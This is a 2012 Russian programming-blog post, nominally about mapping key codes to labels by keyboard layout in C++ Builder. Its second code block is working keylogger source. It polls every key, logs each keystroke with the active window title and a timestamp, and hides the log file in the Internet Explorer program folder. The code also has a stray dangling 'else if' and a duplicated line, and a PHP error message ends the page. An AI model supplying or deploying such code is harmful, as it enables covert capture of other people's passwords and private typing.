Определение нажатия кнопок клавиатуры в зависимости от раскладки в Borland C++ Builder (Коды клавиш)

Автор: Администратор
Дата публикации: 24 октября 2012 года
Раздел: Статьи для программиста

Вот код определения нажатия кнопок клавиатуры в зависимости от раскладки в Borland C++ Builder (Коды клавиш)

if (PRIMARYLANGID(GetKeyboardLayout(0)) == LANG_RUSSIAN)
{
if (k == VK_LBUTTON) KEY = "[ЛКМ]";
else if (k == VK_RBUTTON) KEY = "[ПКМ]";
else if (k == VK_SPACE) KEY = "[Пробел]";
else if (k == VK_CONTROL) KEY = "[CTRL]";
else if (k == VK_SHIFT) KEY = "[SHIFT]";
else if (k == VK_CAPITAL) KEY = "[CAPS LOCK]";
else if (k == VK_TAB) KEY = "[TAB]";
else if (k == VK_MENU) KEY = "[ALT]";
else if (k == VK_BACK) KEY = "[BACKSPACE]";
else if (k == VK_RETURN) KEY = "[ENTER]";
else if (k == VK_DELETE) KEY = "[DELETE]";
else if (k == VK_INSERT) KEY = "[INSERT]";
else if (k == VK_HOME) KEY = "[HOME]";
else if (k == VK_END) KEY = "[END]";
else if (k == VK_PRIOR) KEY = "[PAGE UP]";
else if (k == VK_NEXT) KEY = "[PAGE DOWN]";
else if (k == VK_CLEAR) KEY = "[CLEAR]";
else if (k == VK_PAUSE) KEY = "[PAUSE]";
else if (k == VK_LEFT) KEY = "[Стрелка влево]";
else if (k == VK_RIGHT) KEY = "[Стрелка вправо]";
else if (k == VK_UP) KEY = "[Стрелка вверх]";
else if (k == VK_DOWN) KEY = "[Стрелка вниз]";
else if (k == VK_SNAPSHOT) KEY = "[PRT SCR]";
else if (k == VK_HELP) KEY = "[HELP]";
else if (k == VK_NUMLOCK) KEY = "[NUM LOCK]";
else if (k == VK_SCROLL) KEY = "[SCROLL LOCK]";
else if (k == VK_ESCAPE) KEY = "[ESC]";
else if (k == VK_LWIN) KEY = "[LWINDOWS]";
else if (k == VK_RWIN) KEY = "[RWINDOWS]";
else if (k == VK_F1) KEY = "[F1]";
else if (k == VK_F2) KEY = "[F2]";
else if (k == VK_F3) KEY = "[F3]";
else if (k == VK_F4) KEY = "[F4]";
else if (k == VK_F5) KEY = "[F5]";
else if (k == VK_F6) KEY = "[F6]";
else if (k == VK_F7) KEY = "[F7]";
else if (k == VK_F8) KEY = "[F8]";
else if (k == VK_F9) KEY = "[F9]";
else if (k == VK_F10) KEY = "[F10]";
else if (k == VK_F11) KEY = "[F11]";
else if (k == VK_F12) KEY = "[F12]";
else if (k == VK_F13) KEY = "[F13]";
else if (k == VK_F14) KEY = "[F14]";
else if (k == VK_F15) KEY = "[F15]";
else if (k == VK_F16) KEY = "[F16]";
else if (k == VK_F17) KEY = "[F17]";
else if (k == VK_F18) KEY = "[F18]";
else if (k == VK_F19) KEY = "[F19]";
else if (k == VK_F20) KEY = "[F20]";
else if (k == VK_F21) KEY = "[F21]";
else if (k == VK_F22) KEY = "[F22]";
else if (k == VK_F23) KEY = "[F23]";
else if (k == VK_F24) KEY = "[F24]";
else if (k == 48) KEY = "[0]";
else if (k == 49) KEY = "[1]";
else if (k == 50) KEY = "[2]";
else if (k == 51) KEY = "[3]";
else if (k == 52) KEY = "[4]";
else if (k == 53) KEY = "[5]";
else if (k == 54) KEY = "[6]";
else if (k == 55) KEY = "[7]";
else if (k == 56) KEY = "[8]";
else if (k == 57) KEY = "[9]";
else if (k == 65) KEY = "[ф]";
else if (k == 66) KEY = "[и]";
else if (k == 67) KEY = "[с]";
else if (k == 68) KEY = "[в]";
else if (k == 69) KEY = "[у]";
else if (k == 70) KEY = "[а]";
else if (k == 71) KEY = "[п]";
else if (k == 72) KEY = "[р]";
else if (k == 73) KEY = "[ш]";
else if (k == 74) KEY = "[о]";
else if (k == 75) KEY = "[л]";
else if (k == 76) KEY = "[д]";
else if (k == 77) KEY = "[ь]";
else if (k == 78) KEY = "[т]";
else if (k == 79) KEY = "[щ]";
else if (k == 80) KEY = "[з]";
else if (k == 81) KEY = "[й]";
else if (k == 82) KEY = "[к]";
else if (k == 83) KEY = "[ы]";
else if (k == 84) KEY = "[е]";
else if (k == 85) KEY = "[г]";
else if (k == 86) KEY = "[м]";
else if (k == 87) KEY = "[ц]";
else if (k == 88) KEY = "[ч]";
else if (k == 89) KEY = "[н]";
else if (k == 90) KEY = "[я]";
else if (k == 186) KEY = "[ж]";
else if (k == 187) KEY = "[+=]";
else if (k == 188) KEY = "[б]";
else if (k == 189) KEY = "[-_]";
else if (k == 190) KEY = "[ю]";
else if (k == 191) KEY = "[.,]";
else if (k == 219) KEY = "[х]";
else if (k == 220) KEY = "[\/]";
else if (k == 221) KEY = "[ъ]";
else if (k == 222) KEY = "[э]";
}
else
{
if (k == VK_LBUTTON) KEY = "[ЛКМ]";
else if (k == VK_RBUTTON) KEY = "[ПКМ]";
else if (k == VK_SPACE) KEY = "[Пробел]";
else if (k == VK_CONTROL) KEY = "[CTRL]";
else if (k == VK_SHIFT) KEY = "[SHIFT]";
else if (k == VK_CAPITAL) KEY = "[CapsLock]";
else if (k == VK_TAB) KEY = "[TAB]";
else if (k == VK_TAB) KEY = "[TAB]";
else if (k == VK_MENU) KEY = "[ALT]";
else if (k == VK_BACK) KEY = "[BACKSPACE]";
else if (k == VK_RETURN) KEY = "[ENTER]";
else if (k == VK_DELETE) KEY = "[DELETE]";
else if (k == VK_INSERT) KEY = "[INSERT]";
else if (k == VK_HOME) KEY = "[HOME]";
else if (k == VK_END) KEY = "[END]";
else if (k == VK_PRIOR) KEY = "[PAGE UP]";
else if (k == VK_NEXT) KEY = "[PAGE DOWN]";
else if (k == VK_CLEAR) KEY = "[CLEAR]";
else if (k == VK_PAUSE) KEY = "[PAUSE]";
else if (k == VK_LEFT) KEY = "[Стрелка влево]";
else if (k == VK_RIGHT) KEY = "[Стрелка вправо]";
else if (k == VK_UP) KEY = "[Стрелка вверх]";
else if (k == VK_DOWN) KEY = "[Стрелка вниз]";
else if (k == VK_SNAPSHOT) KEY = "[PRT SCR]";
else if (k == VK_HELP) KEY = "[HELP]";
else if (k == VK_NUMLOCK) KEY = "[NUM LOCK]";
else if (k == VK_SCROLL) KEY = "[SCROLL LOCK]";
else if (k == VK_ESCAPE) KEY = "[ESC]";
else if (k == VK_LWIN) KEY = "[LWINDOWS]";
else if (k == VK_RWIN) KEY = "[RWINDOWS]";
else if (k == VK_F1) KEY = "[F1]";
else if (k == VK_F2) KEY = "[F2]";
else if (k == VK_F3) KEY = "[F3]";
else if (k == VK_F4) KEY = "[F4]";
else if (k == VK_F5) KEY = "[F5]";
else if (k == VK_F6) KEY = "[F6]";
else if (k == VK_F7) KEY = "[F7]";
else if (k == VK_F8) KEY = "[F8]";
else if (k == VK_F9) KEY = "[F9]";
else if (k == VK_F10) KEY = "[F10]";
else if (k == VK_F11) KEY = "[F11]";
else if (k == VK_F12) KEY = "[F12]";
else if (k == VK_F13) KEY = "[F13]";
else if (k == VK_F14) KEY = "[F14]";
else if (k == VK_F15) KEY = "[F15]";
else if (k == VK_F16) KEY = "[F16]";
else if (k == VK_F17) KEY = "[F17]";
else if (k == VK_F18) KEY = "[F18]";
else if (k == VK_F19) KEY = "[F19]";
else if (k == VK_F20) KEY = "[F20]";
else if (k == VK_F21) KEY = "[F21]";
else if (k == VK_F22) KEY = "[F22]";
else if (k == VK_F23) KEY = "[F23]";
else if (k == VK_F24) KEY = "[F24]";
else if (k == 48) KEY = "[0]";
else if (k == 49) KEY = "[1]";
else if (k == 50) KEY = "[2]";
else if (k == 51) KEY = "[3]";
else if (k == 52) KEY = "[4]";
else if (k == 53) KEY = "[5]";
else if (k == 54) KEY = "[6]";
else if (k == 55) KEY = "[7]";
else if (k == 56) KEY = "[8]";
else if (k == 57) KEY = "[9]";
else if (k == 65) KEY = "[a]";
else if (k == 66) KEY = "[b]";
else if (k == 67) KEY = "[c]";
else if (k == 68) KEY = "[d]";
else if (k == 69) KEY = "[e]";
else if (k == 70) KEY = "[f]";
else if (k == 71) KEY = "[g]";
else if (k == 72) KEY = "[h]";
else if (k == 73) KEY = "[i]";
else if (k == 74) KEY = "[j]";
else if (k == 75) KEY = "[k]";
else if (k == 76) KEY = "[l]";
else if (k == 77) KEY = "[m]";
else if (k == 78) KEY = "[n]";
else if (k == 79) KEY = "[o]";
else if (k == 80) KEY = "[p]";
else if (k == 81) KEY = "[q]";
else if (k == 82) KEY = "[r]";
else if (k == 83) KEY = "[s]";
else if (k == 84) KEY = "[t]";
else if (k == 85) KEY = "[u]";
else if (k == 86) KEY = "[v]";
else if (k == 87) KEY = "[w]";
else if (k == 88) KEY = "[x]";
else if (k == 89) KEY = "[y]";
else if (k == 90) KEY = "[z]";
else if (k == 186) KEY = "[;:]";
else if (k == 187) KEY = "[+=]";
else if (k == 188) KEY = "[,<]";
else if (k == 189) KEY = "[-_]";
else if (k == 190) KEY = "[.>]";
else if (k == 191) KEY = "[/?]";
else if (k == 219) KEY = "[[{]";
else if (k == 220) KEY = "[\|]";
else if (k == 221) KEY = "[]}]";
else if (k == 222) KEY = "[']";
}
else if

А это код, который пишет клавиши (по их кодам) в файлик

index = 1;
while (index < 256)
{
result = GetAsyncKeyState(index);
Application->ProcessMessages();
if (result != 0)
{
IsSystemKey(index);
if (KEY != "")
{
HANDLE hWnd;
hWnd = GetForegroundWindow();
char szTitle[201] = {0};
GetWindowText(hWnd,szTitle,200);
TDateTime CurrentDateTime = Now();
Memo1->Lines->Add(AnsiString(szTitle) + "  " + CurrentDateTime);
Memo1->Lines->Add(KEY);
}
else Memo1->Lines->Add((char)index);
Memo1->Lines->SaveToFile("c:\\Program Files\\Internet Explorer\\keys.txt");
while(result != 0)
{
result = GetAsyncKeyState(index);
}
index = 1;
}
index++;
}
Fatal error: Call to a member function return_links() on a non-object in /var/www/zoleg9992/data/www/e2epro.com/page/footer.php on line 42